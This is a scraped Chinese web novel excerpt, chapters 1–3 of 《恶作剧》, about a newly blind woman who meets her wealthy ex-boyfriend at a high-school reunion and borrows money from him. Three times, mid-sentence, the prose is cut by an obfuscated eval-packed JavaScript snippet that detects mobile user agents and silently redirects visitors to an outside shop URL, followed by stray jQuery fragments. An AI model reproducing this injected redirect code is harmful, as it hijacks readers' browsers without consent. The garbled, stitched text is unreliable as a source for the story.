《恶作剧》
1. 恶作剧
连按三下门铃,徐翡原地顿顿脚,以为要等一会儿门才会开,没想到音乐只响了四拍,房门便嘎吱向后敞,里头的人含笑骂她:
“我还以为你不来接我了!”
徐翡迎上去,将对方纤瘦的胳膊勾进臂弯:“我徐翡一言九鼎,使命必达,至于什么时候达,嘿嘿……”
方舒好想起年少时徐翡三天两头迟到被罚站的可怜样,这么多年过去竟然一点没改。
徐翡的车就停在楼下,方舒好被她牵着进入副驾。
这时正赶上日落,滚圆的红日缀在前方天空,粉金色脉络纵横天际。
徐翡正要赞叹,蓦地反应过来这景色只有她能看见,忙咽下声音。
身旁,方舒好戴着墨镜,对灿烂的夕阳毫无感知。
她的眼睛看不见。
三个月前,因为一场车祸,方舒好不幸失明,彼时她已留美七年,硕士刚毕业。
她的小姨夫是医生,通过人脉了解到虹城医科大学附属医院掌握着一项前沿复明技术,治愈率还算可观,问她要不要回国试试。
一番权衡,方舒好决定回国,去虹城治疗眼睛。
虹城是座临海大都市,对方舒好而言并不陌生。她曾在这里度过两年高中时光,最好的朋友徐翡也是虹城人。
方舒好现在住的房子就是徐翡帮忙物色的,离医院很近。
盲人出行不便,今天是方舒好第一次为了看诊以外的事情离开小区。
她要和徐翡一起去参加同学聚会。
路上,徐翡与她闲聊:“你记得2班的老曾吗?这两年同学聚会都是他组织的,在他家酒店办。”
方舒好:“三个班的小聚会,赚不了多少钱吧?”
他们当年一年级有三个尖子班,彼此师资互通,学生在各科成绩和竞赛奖项上你追我赶,相爱相杀,关系比其他班级亲厚得多,因此聚会常常一起办。
徐翡:“赚钱是其次,重点是人脉。谁不知道我们这届尖子班一步一个top985,两步一个竞赛金牌,三步一个富二代,更何况还有江……”
她似乎即将吐出一个人名,转瞬,及时住嘴。
见方舒好没什么反应,徐翡松口气,接着说道:“我本来以为你不愿意参加呢。”
方舒好:“总在家里闷着不好,社交能锻炼大脑,我不想脑子也废掉。”
这个“也”字听得徐翡心脏莫名挛缩了下。
车厢变得安静,外面天空隐约传来一阵音浪,是飞机起飞冲破阻力的轰鸣。
方舒好无需闭上眼睛,就能在黑暗中拾起记忆碎片——她人生中第一次乘坐飞机,目的地就是前面不远的那座机场。
那年,她刚念完高一,母亲方之苑突然辞掉在老家澜城的稳定工作,要去大都市虹城发展。
方之苑没有隐瞒,直接告诉女儿,她在虹城认识了一个很不错的男人。
她给了女儿两个选择:
一是留在澜城,住小姨家,安稳地继续生活、念书;
二是和她一起去虹城,在那里,一切都是未知数。
方之苑是单亲妈妈,从前工作太忙,方舒好成长过程中经常受小姨一家照顾。小姨温柔亲切,小姨夫儒雅随和,小表妹活泼可爱,舒好非常舍不得他们,但她没有犹豫,坚定选择了跟妈妈。
天底下的小孩,但凡从妈妈那里得到过爱,哪个情愿和妈妈分开?
就这样,方之苑带着方舒好,在盛夏的傍晚,搭乘飞机离开故乡,奔赴虹城。
方舒好至今都没有忘记,那天晚上她趴在飞机舷窗,俯瞰这座繁华如梦的城市时慌张又兴奋的心情。
即使现在看不见了,她用耳朵也能感受到这座城市蓬勃的心跳。
“你在听什么?”徐翡轻声问。
方舒好想了想,翘起唇角:“在听飞机的声音辨认型号。我们往西走,那么这架飞机应该正往东飞,虹城东面临海,说明它的目的地很远,远途飞机通常都是大客机……嗯,发动机轰鸣的质感像是波音机,破空声比较丝滑,说明是圆体机,宽机翼,结合以上可以得出,它的型号是波音777。”
徐翡呆滞了三秒:“啊?”
车子停在红灯前,她立刻点开航旅软件,找到刚刚从她们头顶经过的飞机,正是波音777!
“你太神了!”徐翡难以置信,“就这个听力,最强大脑非你莫属。”
“正常操作。”方舒好抿唇,“毕竟查手机谁都会。”
“别谦虚了……什么?”
方舒好终于憋不住笑,展示藏在身侧的手机,另只手点了点耳朵里隐蔽的单边耳机。
现在的她省去了“看手机”这个动作,盲打加上用耳机听,坐在旁边的徐翡根本发现不了她查过飞机型号。
“所以你刚才那段推理……”
“都是瞎编的。”
“可恶。”要不是正在开车,徐翡一定会扑过去拧她,“完全被你骗到了。”
“谁让你好骗。我才瞎多久,耳朵能有多灵?”
太阳已完全沉没,晚霞流连进车窗,方舒好墨镜下带笑的唇角染上浅浅粉光。
徐翡笑得更开心——舒好没有被不幸击垮,还有活泼的一面,还会恶作剧。
想到这,她打心底里佩服好友内心的强大。
车子驶进酒店停车场,方舒好转头向外:“天黑了吗?”
“早就黑啦。”
“那我把墨镜摘了。”
“其实戴着也行。”
“还是摘吧。”方舒好说,“晚上在室内戴墨镜,比不戴更引人注目。”
她捏住镜腿,慢慢摘离脸庞。
一张白皙莹润,精致至极的脸完全展露在空气中,标准的桃花眼,琼鼻朱唇,娇艳到惹人怜惜。
何止惹人怜惜。徐翡心说,如果见过那双眼睛晶亮灵动的模样,那现在这副空洞的、毫无神采的样子,简直叫人扼腕叹息。
下了车,方舒好挽着徐翡进入酒店大堂。
今晚这里有好几场婚宴,大堂人流如织,嘲杂好似菜市场。
方舒好微提着气,手指无所适从地摩挲徐翡的针织衫袖子,忽然摸到一条线,她疑惑道:“这是什么?”
徐翡低头,看到方舒好两根指头捏着一条不应该出现在这里的缝线:“这……我衣服好像穿反了!”
方舒好:“……”
“我得去洗手间换一下。”徐翡窘得不行,“你在这里等我,还是先去聚会厅?”
方舒好不想独自站在人来人往的地方:“我先去聚会厅。你换你的,找个服务员带我就行。”
徐翡离开前,召来一位女侍者为方舒好引路。
没走多远,方舒好感觉吹到脸上的空调风变暖,应该到聚会厅门口了。
女侍者告诉她直走就有个空位,正要带她过去,侧旁突然火急火燎冲出来两个人,说某某婚宴厅大门坏了打不开,新娘马上就要出场,不由分说就把女侍者拉走去解决。
留方舒好在原地,措手不及地落单。
她和这个世界联系的信号被切断。
头脑宕机,空白,完全勾描不出聚会厅里的画面。
有人注意到她吗?
她现在求助的话,能得到回应吗?
方舒好嘴巴翕动,对着虚空,实在不好意思叫出口。
这时,她想起刚才女侍者提过,直走就有个空位。
强压下慌张,方舒好缓慢抬脚,朝前迈了一步,又一步。
非常幸运,仅仅十步,她僵硬摆动的左手碰到了类似椅背的东西。
确实是椅背,座位也是空的。
方舒好干脆利落地坐下。
心脏也踏实下来。
聚会厅不大,聊天说笑声从各处传入方舒好耳朵,唯独她所在的这桌,自从她坐下,一直杳无人声。
真奇怪。
……
这桌并非没有人,相反,座位几乎坐满。
肖泽与方舒好中间只隔了一位。他看眼方舒好,又看眼坐他们中间的那位哥,上下嘴唇碰了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16793699|190594||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
碰,震惊得蹦不出半个字。
两分钟前。
肖泽正和老同学闲侃彼此近况。他学生时代注意力就散,现在也没长进多少,加上他们这桌靠近大门,门外有人走进来,他第一时间就扭头去看。
一张令人惊艳、略有些眼熟的脸闯进视野,肖泽怔住,尔后,尘封的回忆被搅动,他不可思议地用胳膊拐了身旁男人一下,舌挢道:“那个是方、方舒好?”
江今彻没有第一时间望过去。
他微抬眼睫,先扫肖泽一眼,似乎觉得这个笑话很没劲。
随后,顺着肖泽凝固的视线,他也望向门口出现的女人。
目光顿在她脸上,片刻。
在她抬步朝他这个方向走来之前,已经若无其事地收回。
重点高中尖子班的聚会,遍地是青年才俊,若在其中挑选出最让人眼红羡慕的那个,江今彻估计能全票当选。
含着金汤匙出生的大少爷,打小成绩优异,年级前几考上T大,家世头脑都顶尖,最让人服气的是那张脸,足以统一审美的英俊,任谁都挑不出错——这样的人,一辈子养尊处优、顺风顺水、备受追捧……肖泽和江今彻认识这么久,唯独见他遭遇过一次滑铁卢。
罪魁祸首就是刚刚出现的女人,江今彻的初恋女友方舒好。
他们当年的恋情无人不知,后来江今彻被甩,在场的大部分也都有所听闻。
肖泽作为江今彻的好友兼同班同学,了解更深的内幕——
这个女人何止是甩了江今彻,难听点说,根本就是在玩弄他的感情。
惊愕之下,肖泽没有发现方舒好眼神的异常。
他半打抱不平半开玩笑:“要不要给她个下马威?”
江今彻把玩着手中酒杯,没把他的话当回事。
嗒,嗒……轻缓的脚步声渐渐靠近。
江今彻的视线不由再次偏转过去。
方舒好似乎看见了他,又似乎穿过他在看别的东西。
她脸色略苍白,不偏不倚朝前走,左手触碰到椅子时,唇角快速而细微地扬了下。
毫不犹豫地,她在紧邻着他的空位落座。
一桌人行注目礼,震惊又默契地缄口。
在江今彻给出反应前,聒噪如肖泽也不敢说话。
离方舒好最近的江今彻很快发现不对劲,散漫的身姿微微挺直,酒杯放到桌上。
方舒好双手像小学生那样摆上桌,摸到餐具,往自己胸前挪了挪。
漂亮的桃花眼茫然、空洞,瞳仁松散没有焦距,像两口幽深干涸的井。
……
落座快两分钟,桌上还没有一个人出声。
方舒好有点懵。难道这桌只有她一个人?
她手指无意识摩挲餐具,偏头向右“看了看”,又向左“看了看”。
一丝清冷的白松香忽然钻入她鼻腔。有别于聚会厅充斥的食物和酒混杂的浊气,那味道质地纯净淡薄,在她无光的世界里勾住了她的“视线”。
方舒好的脸下意识朝气味来源处偏。
除了气味,还有气场……即使不说话,存在感也非常强。
她确定左手边一定有人。
“您好。”方舒好斟酌着开口,“我是3班的方舒好,请问您是?”
良久,对方未予回应。
唯有尴尬蔓延。
方舒好安慰自己,也许人家正在考虑该怎么和一个眼睛不太对劲的人说话。
他不认识她,说明这里不属于她的班级。
“我的眼睛看不见。”方舒好又向那人靠近些,“请问3班学生都坐在哪里?能不能麻烦您带我过去?”
……
就在方舒好泄气前一秒,身旁终于传出点动静。
先是浅浅的衣料摩擦声,对方似乎招手叫来了什么人。
随后,一道清冽低沉,不带任何感情色彩的声音在她耳旁响起,方舒好神经末梢无端战栗了下。
那人的话却是对旁人说的:“带她去前面那桌。”
2. 恶作剧
短短一句话,在方舒好的听觉世界里无限拉长,分解成细小的,让她感到熟悉的颗粒。
然而这些颗粒组合而成的语气,她很陌生。
毕竟过了那么多年,声音会变化,记忆也会褪色,她并不确定说话的是不是她联想到的那个人。
这时候,侍者已经来到她旁边,温声提示她起身。
方舒好道谢,手扶桌沿站起,跟随侍者离开。
因她的到来而沉默的一桌人,在她走后迫不及待地交头接耳。
方舒好没听清他们具体说了什么,但她捕捉到了“彻哥”、“老江”这两个称谓,满桌私语聚拢向同一个人,无论身处何地都众星捧月的那个人。
真的是他。
方舒好被侍者牵引着,一时竟有种半梦半醒的感觉。
记忆倏然带她回到七年前,最后一次见他。
天光惨淡的午后,阴云淤积,闷雷翻涌,雨却迟迟没有落下。
江今彻站在她跟前,额发和睫毛都被汗湿,往下坠,一向挺拔的脊背微微塌着。
“可不可以不分手?”他声音很低,透着股荒凉,“你觉得我有哪里做得不够好,我都愿意改。”
从来不可一世的少年,用尽全身力气试着提起唇角,讨好她。
可惜徒劳无功。
他们短暂的恋情,终结在大雨落下之前。
……
相隔七年的两道声音,在方舒好脑海里,已经不能轻易对应上。
侍者很快将她带到新座位,方舒好再次致谢。
脑子里乱七八糟的思绪渐渐平息。时过境迁,她和江今彻早已是毫不相干的两个人,而且从他刚才的态度来看,应该非常不想和她扯上关系。
正好她也看不见,可以当做完全没认出他,相安无事。
“舒好?”斜对面传来关切的女声,“你什么时候回国的?怎么都不通知我们?”
稍顿,她不太好意思地补充:“那个,我是雨柠。”
“我听出来了。”方舒好微笑,“同桌的声音当然记得。”
方舒好在班上人缘很好,虽然和大家分别多年,一开始都有些拘谨,但是寒暄几句之后很快就放开,一圈人聊起当年趣事,有说有笑——她来参加聚会,保持社交能力不退化的目的达到了。
气氛逐渐热络,林雨柠在其他人眼神示意下,壮胆问出大家都关心却不敢问的问题:“舒好,你的眼睛……怎么回事啊?”
方舒好笑意变淡:“今年六月不小心出车祸,受了点伤。现在已经适应了,没关系。”
大家一阵唏嘘。
心里都清楚,怎么可能真的没关系。
被一场突如其来的意外带走光明,健康的身体变得残缺,换谁不崩溃?
又有人问:“那还能治好吗?”
徐翡这时姗姗来迟,未及坐稳,便迫不及待地替闺蜜回答:“当然可以!好好就是回国看眼睛的,她的主治医师说,她这个情况有很大概率能复明。”
“那太好了!”
“一定会治愈的!”
其实医生的原话是,治疗效果好的话,才有概率复明,而且复明到什么程度,要看患者体质、术后恢复情况,甚至天时地利的运气。
方舒好不敢像徐翡那样乐观。希望落空比从未获得希望更令人煎熬,因此她在治疗的同时也在不断放低期待,与黑暗和解,做好一辈子看不见的准备。
徐翡的座位和隔壁桌背靠背,她方才安静下来吃几口饭,就被隔壁桌嘀咕的闲话吓到。
“好好,你前面……”她咽下嘴里食物,“坐到江今彻旁边了?”
哪壶不开提哪壶。
方舒好:“可能吧,我又看不到。”
见她反应平静,也并不排斥这个话题,徐翡的话匣子得以敞开:“之前在车上我就想说,今天来聚会的人里,起码三分之一都奔着巴结他。你在国外不知道,江今彻他爸今年公开表露过有退居二线的打算,也许过不久江大少爷就会接班,他可是他们家唯一的孩子。”
听到这,方舒好微不可查地皱了下眉。
徐翡:“可惜,江今彻这几年变了很多。我记得高中那会儿,半个年级的人都和他称兄道弟,谁约他打球他都愿意赏脸。至于现在……”
徐翡扭头望了眼,视线像被冻到:“嘶,敢上去攀交情的都是勇士。真不知道他这么没兴致,干嘛还要来聚会。”
方舒好在想别的事,随意点了点头附和。
聚会和谐地进行,学生时代的方舒好因为长得漂亮倍受欢迎,今天她也同样受欢迎,许多只有名字耳熟的别班同学都来问候,这些问候里多多少少掺杂了同情和怜悯,可悲于一个前途光明的漂亮女孩沦为残疾人。方舒好努力地消化着、适应着他们的态度,这是盲人的必修课,而她还只是初学者。
很显然,江今彻不在这些人中间。
整场聚会下来,他几乎是对方舒好的遭遇最漠不关心的那个。
聚会散场时,徐翡带方舒好去洗手间,路上悄声叹气:“来之前我还有点期待,你和他今晚会不会发生什么。”
“他”指的是谁,不言自明。
“怎么可能。”方舒好说罢,在心里补充:我以前怎么伤害他的,你又不是不知道。
徐翡:“我听说他这些年一直单身,而且你现在……他就一点也不关心吗?”
方舒好笑了笑:“人家是资本家,又不是慈善家。”
“也是。”徐翡仇富的血脉动了,“赚那么多钱都不知道分老同学一点。这两年经济太差,也不知道我那个小工作室还能撑多久,也许过几个月我就要群发借钱短信了。”
方舒好作势拿出手机:“是吗?那我得提前把你删了。”
徐翡笑骂:“你浑蛋!”
话题已经跑远,没想到,方舒好突然主动扯回某个人身上。
“江今彻……江家的事,你还知道多少?”
“为什么问这个?”
方舒好斟酌着说:“我前阵子,听到一些关于江董事长的丑闻。”
“江今彻他爸?真的假的,他风评一直很好。”
方舒好含糊道:“国内有国内的消息,国外也有国外的渠道。”
徐翡发散思维:“该不会是那种豪门经典剧情——其实江大少爷不是唯一的继承人,还有自己都不知道的兄弟姐妹?”
方舒好干笑一声,没有正面答复。
徐翡:“你想了解的话,自己去问他啊。就算找同学打听,过不久也会传进他耳朵。”
方舒好讷讷:“我又没有他联系方式,之前就删了。”
“我还有他微信。”读书那会儿加的。徐翡拿起手机,顺便也抽走方舒好手机,帮她操作,“我转给你,你加他。”
“等等,这样好奇怪……”
“哪里奇怪?谁不想通讯录里有江今彻这号人物,就算借不了钱,也可以拿来充场面,至少在虹城,效果杠杠的。”
听她这话,过去似乎没少沾江大少爷的光。
方舒好觉得有点道理,短暂忘了阻止徐翡操作。
她手机开了旁白模式,只听“添加到通讯录”和“发送”两个按键音响起,徐翡把手机塞回给她:“加好了,等通过吧。”
方舒好:“……”
能通过就有鬼了。她心想。
两人分别进入普通卫生间和无障碍卫生间,方舒好率先出来,扶着过道墙等徐翡来接她。
就在这时,她手机震动,提示有新消息。
方舒好心一紧,耳朵凑近手机。
che:【你是?】
果然,江今彻没通过她的好友申请,仅在验证界面询问,冷淡又疏离。
加都加了,又不能撤回,方舒好只得硬着头皮上。
Fine:【好久不见,我是方舒好】
隔了不到一分钟。
对方依旧没通过,仅敷衍地回复两字——
che:【有事?】
至此,方舒好若还察觉不出人家不想加她,有病的就不止是眼睛了。
她本打算强行翻篇,不再回复,转念又觉得,还是应该给自己突然加好友的行为安排一个合理的动因,以绝后患。
刚才和徐翡的闲聊给了她灵感,她想到一个极其合适的理由,同时还能保证江今彻看到之后,绝不会再和她拉扯下去。
也算遂了他的意。
方舒好琢磨了下措辞:【那个,说起来有点不好意思……】
……
聚会厅里还有一半人没走,高声敬酒不休。
肖泽今晚喝得有点多,殷勤地送几个女同学出门打车,回来看到江今彻还坐在原位,衬衫领口敞着,姿态散漫,脸像滴酒未沾一样干净冷冽,手机抓手里,眉眼微垂,不知道在看什么。
“还是高中的女生好。”肖泽感叹,“多么单纯美好的情谊,不像大学……”
江今彻没理他,肖
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16793700|190594||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
泽打了个酒嗝,继续道:“我跟没跟你说过,我大学那个女朋友,把我甩了微信删了的那个,过了这么多年,前阵子突然又把我加回来了。”
江今彻手机上,好友验证栏,有新消息弹出。
Fine:【好久不见,我是方舒好】
他目光掠过那个名字,终于舍得抬一抬眼皮:“然后?”
肖泽:“然后我们聊了几天,气氛很好,后来她又请我吃饭,还陪我看电影……”
江今彻往后一仰,已经准备好听笑话了。
肖泽:“我都考虑吃回头草了,结果,谁能想到,她竟然说她最近欠了点债,想问我借几万周转……凭什么啊,她就不能图点感情?图我风趣幽默有内涵?图我这张脸也成啊,就非得谈钱?!”
江今彻很没品地扯唇:“醒醒。除了那点臭钱,你真没什么可图的。”
肖泽哭丧着脸:“做个人吧你,还笑?”
江今彻:“你不好笑?”
手机又有新消息,他低眸扫了眼。
Fine:【那个,说起来有点不好意思……】
Fine:【我最近手头有点紧】
Fine:【你能不能借我点钱?】
“你等着。”肖泽气急败坏,“天道有轮回,苍天饶过谁……哎,怎么就走了?等等我!”
……
洗手间外,方舒好厚着脸皮发出三条消息,料想江今彻应该不会再回——曾经甩了他的前女友,杳无音讯多年后突然出现,一登场就问他借钱——她自己都有点被无耻到。
叹了口气,方舒好疲惫地倚墙,收敛思绪,回想刚才徐翡吃了多少生海鲜。她肠胃不好,这会儿还不出来,可能在拉肚子。
正准备微信问一问,还未退出的好友申请界面竟又冒出新消息。
che:【多少?】
方舒好难以置信地听了三遍。
鉴于对方依旧没通过她的好友申请,方舒好不确定他是真心愿意借钱,还是闲着没事遛她玩儿。
后者可能性更大。有过去的宿怨在,他哪里会对她这么大方。
方舒好随便想了个数字。
Fine:【十万】
后附双手合十表情,虚情假意。
如她所料,几分钟过去,对方都没再回。
一沓脚步声贴近,徐翡从后勾住方舒好胳膊:“刚才肚子有点难受,你等很久了吧?”
方舒好:“现在好点了吗?”
“好多啦。”徐翡带着她走出酒店,“对了,江今彻加你了吗?”
方舒好摇头:“没有。估计不会通过了。”
“唉。”
“叹什么气。”方舒好说,“你好像很想希望我和他联系上?”
徐翡踌躇:“我只是觉得……过去这么多年,还是只有他配得上你。”
她至今都没忘记,江今彻和方舒好当年并肩站在一起的样子,真让人憧憬。
“哎,我不提了。”徐翡干笑,“我知道你不喜欢他。”
她们正在露天停车场找车,方舒好木然地“瞭望”远处,过了许久,才轻轻“嗯”了一声。
心里油然自嘲。
她现在这个样子,哪还有资格谈喜欢不喜欢。
“终于找到我车了!”徐翡拉紧方舒好,“刚才差点闯进隔壁酒店,幸好有辆车猛闪了下灯,我才反应过来。不知道是什么车,大灯老帅了。”
“你好意思说。”方舒好无语,“再不到,我都怀疑你要把我卖了。”
徐翡顺势桀桀一笑。
坐进副驾,方舒好拿起手机听新消息,她现在已经熟练掌握手机的旁白模式,旁白语速飞快,不知听到什么,她突然将手机息屏扣下。
徐翡:“怎么了?刚什么声音?”
方舒好:“没事啊。”
趁徐翡启动车子,注意力不在她这,方舒好故技重施,神不知鬼不觉戴上了单边耳机。
che:【我通过了你的朋友验证请求,现在我们可以聊天了】
che:【转账100000元】
车子驶出停车场,流入空旷的大道。
徐翡余光瞥见方舒好扯松安全带,整个人斜靠向车门,额头抵上了车窗。
窗玻璃映出她漂亮而无神的眼睛,以及略微发红的脸颊。
手机在手心发烫,方舒好脑子也烫得厉害——
真是失策。
应该向他借八百万的。
3. 恶作剧
摸索到车窗开关,降下少许,微凉的夜风争先恐后扑上方舒好脸颊。
再冷静自持的人,见到成堆的钱,也会情不自禁心跳加速,更何况她这种俗人。方舒好在心里替自己挽尊。
不愧是江大少爷,对恶毒的前女友也这么大方。
这就是有钱人的胸襟吗?
思绪一转,方舒好忽然联想到自己的现状。
一个盲人。
……
原来如此,一下子就解释通了。
不论他们从前发生过什么,她现在这个状态,任何人看了都会同情,能帮都会帮一把,十万块对江今彻而言也不是什么大数目。
方舒好的心情冷静下来,收下了那笔钱。
Fine:【非常感谢!】
Fine:【我很快就会还你的】
演戏演全套,她表现得像需要这笔钱解燃眉之急,过不久资金就会续上。
半个月之后,她会把钱还他。
che:【随意】
听见这两字,方舒好确信这笔钱的意义——做慈善大于借款。
以及,江今彻今晚发给她的消息,除了系统自带的打招呼,每一句都不超过两个字。
她在脑子里颇为费劲地,将这个冷淡的男人,和记忆里意气风发的少年对应上。
不知不觉想起他们高中第一次加好友。
那是七、八……九年前的夏天。
彼时方舒好十六岁,随母亲方之苑来到虹城,投奔一位名叫李明历,做建材生意的叔叔。
开端就不顺利,李明历答应为舒好办转学,结果说好的入学名额莫名其妙消失,当时已是暑假,开学在即,方之苑为此和李明历大吵,斥责他办事不力,舒好也天天胆战心惊,生怕日后没学上。
过了半个月,不知长辈们如何周旋,舒好突然又获得了入学资格,不是原定的那所中等偏上的高中,而是虹城实验高中——整个虹城数一数二的重点高中。
能进这么好的学校念书,舒好很高兴,问方之苑她该怎么感谢李叔叔。
方之苑当时笑都没笑,只让舒好不必谢他。
大人之间的事,舒好没多想,满怀期待地入学,被分配进高二平行班。
虹城虽是大都市,却非高考大省,以素质教育见长。单论考试做题,舒好不在话下,第一次月考她便考进年级前五十,火速离开平行班,被选入尖子班高二3班。
在这里,舒好结识了活泼开朗的前桌徐翡,还幸运地重逢儿时玩伴、后来因父母工作原因搬走的邻居周栩。
周栩男大十八变,干瘦腼腆的小男孩一错眼窜到一八五,现在是3班体育委员、班草,还是数学竞赛班的大佬,人气非常高。
周栩再见到方舒好,也诧异于她如今校花级别的美貌,更让人惊叹的是,她进入尖子班不到一周,又通过了数学竞赛班的考核。记得她刚转进实高那会儿,年级里还传言她是走关系进来的花瓶,没想到打脸来得飞快。
实高的竞赛生,白天随各自班级上课,傍晚之后的时间归属竞赛班。
方舒好第一次去竞赛班,周栩带路,领着她走进一间光线不太充足的大教室。
“你先坐这吧。”周栩给她找了个空位,“我就在你后面。”
方舒好放下书包,观察四周——离上课还有二十分钟,教室里人不多,后排的灯熄着,落日余晖悄悄蔓延。
方舒好看了会儿书,前排忽然有人向后传通知单。
省外数学集训?
她吓了一跳,来之前没人和她说过这事,通知单上的信息收集表她也不知道该怎么填。
方舒好回头找周栩。
在她身后,有个男生趴着睡觉,运动服松松垮垮披身上,盖住半个脑袋,只露出小部分蓬松的黑发,肘弯压着的书包正是周栩的。
“周栩。”方舒好小声喊他,“要去省外集训了,你知道吗?”
“……”
“周栩?”
“……”
男生动弹了下,肩膀微耸,似乎要醒来。
结果只是换了个方向,接着睡。
方舒好有点心急,而且上课时间将近,他也该醒了。
她不好意思直接碰人家,回身抽了支笔,轻轻戳他手臂:“醒醒,快醒醒。”
一下,两下……
第三下,笔头刚送出去,男生突然毫无预兆地抬起脸。
来不及收手,方舒好的笔头直直捅上男生的前额。
四目陡然相对。
她心一紧,继而看清男生的脸。
竟然不是周栩!
那是张称得上震撼人心的俊脸,线条利落,英气分明,瞳仁漆黑如墨,左眼下有颗泪痣,中和了少许锋芒,显得玩世不恭。
巧的是,方舒好脸上相同位置,也有颗泪痣。
她自认为不近男色,眼里只有学习,对上那张脸时,也足足愣了几秒。
一时间忘记收手,笔头仍稳稳戳在男生额头上。
仿佛正在点化一只妖精。
直到一道散漫不羁的声音响起——
“你该不会。”男生提起唇角,“要我举手投降吧?”
方舒好:……!
她光速缩回手:“对、对不起!”
这时候,她已隐约猜到这人姓名——高二1班的江今彻,全校女孩津津乐道的校草,风云人物,据说高一就杀进数竞国赛摘下奖牌,顺势参加T大自招,拿到了高考分数过一本线即录取的合约。此后,这位哥白天正经上课,晚自习来竞赛班睡觉,放眼全校,除了保送生,没有比他更自在的了。
方舒好转回去,强行忽略身后玩味的视线,逼自己静心看书。
没几分钟,后排多了三四个男生,周栩坐到江今彻旁边,拍拍前排少女的肩膀:“来,大家认识一下。”
方舒好不得已再次回头,扯起笑。
周栩向兄弟们介绍:“她叫方舒好,是我发小,澜城人。”
接着向方舒好介绍:“好好,他们是……”
“好好?”“好什么好?”“周栩你小子?”“你背着我们干什么了?”
周栩顺嘴喊出儿时的昵称,男生集体炸锅,视线在两人间暧昧地来回。
唯独江今彻,懒靠着椅子,垂眼玩手机,对这闹剧无动于衷。
即便周栩再三解释,男生们也是将信将疑,暂且揭过。
谁让方舒好长得那么美,五官精致得像手办,尤其是那双桃花眼,温柔又纯澈,性格看起来也好相处,和这样的女孩子做朋友,谁能不心动?
有人提议加好友,方舒好手机没开机,报了一串数字。
仅仅一个晚自习,她的号码传遍整个数竞班,晚上回到宿舍开机,几十条好友申请往外窜,方舒好挨个通过,备注上他们的姓名班级。
其中没有那位被她用笔抵着额头的江大校草。方舒好不敢回想那令人尴尬的场景,暗暗松了口气。
一天后,放学时分。
方舒好留在教室等徐翡做值日,闲着查看手机消息,意外发现一条新的好友申请。
头像是一栋高楼的灰黑剪影,干净冷调,没什么特征。
也没备注他是谁。
猜测是同学,方舒好直接通过,然后才问——
好耶:【请问你是?】
两分钟后。
对方回复:【江今彻】
方舒好:?
有点后悔直接给他通过了。
这人隔一天才来加她,该不会想了一晚上觉得实在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16793701|190594||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
丢面,来找她兴师问罪?
方舒好差点就要道歉,转念一想,她犯什么大错了?只不过用笔轻轻碰了一下他的脑袋,而已。
她决定装作对他这个人没印象。
昨天发生什么了?
不记得。
好耶:【不好意思,这几天加了太多人,请问你是哪个班的?】
方舒好很满意这个回复,收起手机,徐翡也做完值日,两人并肩离开教室。
走廊人不多,经过1班窗外,里头突然有人叫:
“江今彻,等会打不打球啊?”
方舒好下意识看过去,正对上一双闲散的黑眸,来自她半分钟前装作“没印象”的那个人。
想收回目光已经来不及。
那人一身雪白的夏季校服,个头看着比周栩还高,肩宽腿长,挺拔清瘦,正慢悠悠地往教室门口走。
四目相对,他眼神直白看她,忽然微勾唇角,抬起右手,三指比了把枪,抵到自个额头。
下一瞬,扣动扳机,脑袋顺势往侧边一歪,轻狂又率性。
方舒好心尖一颤。
意识到他这是在模仿她昨天的动作。
不是忘了吗?
那就做给你看。
“哇,是江今彻。”徐翡的视线被门框挡住一部分,“他在和谁打招呼吗?”
方舒好脸颊泛红:“不知道。”
1班后门,江今彻手已经抄回兜里,懒得理身后鬼哭狼嚎,迤迤然走出教室,
经过方舒好面前,他脚步稍顿,偏头睨着她,一字一顿凿进她耳朵:
“高二1班,江今彻,现在记住了吗?”
……
当然记住了。
他那样的人,无论谁遇到,都会终生难忘的吧。
即便很多年不去主动回想,即便她的世界已失去色彩,那些画面在脑海中依然深刻、清晰,是她青春岁月不可多得的烙印。
吹够了风,方舒好将车窗关闭,呜呜风声散去,回忆的洪流也瞬间走远。
徐翡开车送她到她家楼下,又搀扶她上楼。
“快回去吧。”方舒好催徐翡,“你家离我家那么远,开到都要零点了。”
徐翡:“等我赚了大钱,把工作室搬到市区,就天天来看你。”
徐翡大学开始创业,搞电商,经营着一家户外用品网店,自己当老板。网店效益一般,虹城房价又高,她的工作室只能开在偏远郊区,她自己也住在那边,和方舒好家隔着几十公里。除非必要,方舒好一般不让她过来。
“好啊,我会一直等着你。”
“那时候你眼睛肯定已经好了。”
方舒好闻言,笑了笑没说话。
她本想等徐翡脚步声消失再关门,谁知这家伙走开两步,突然又折回,盯着方舒好家对门道:
“你家对面是不是没住人?”
方舒好点头:“应该是,这一个月都静悄悄的。”
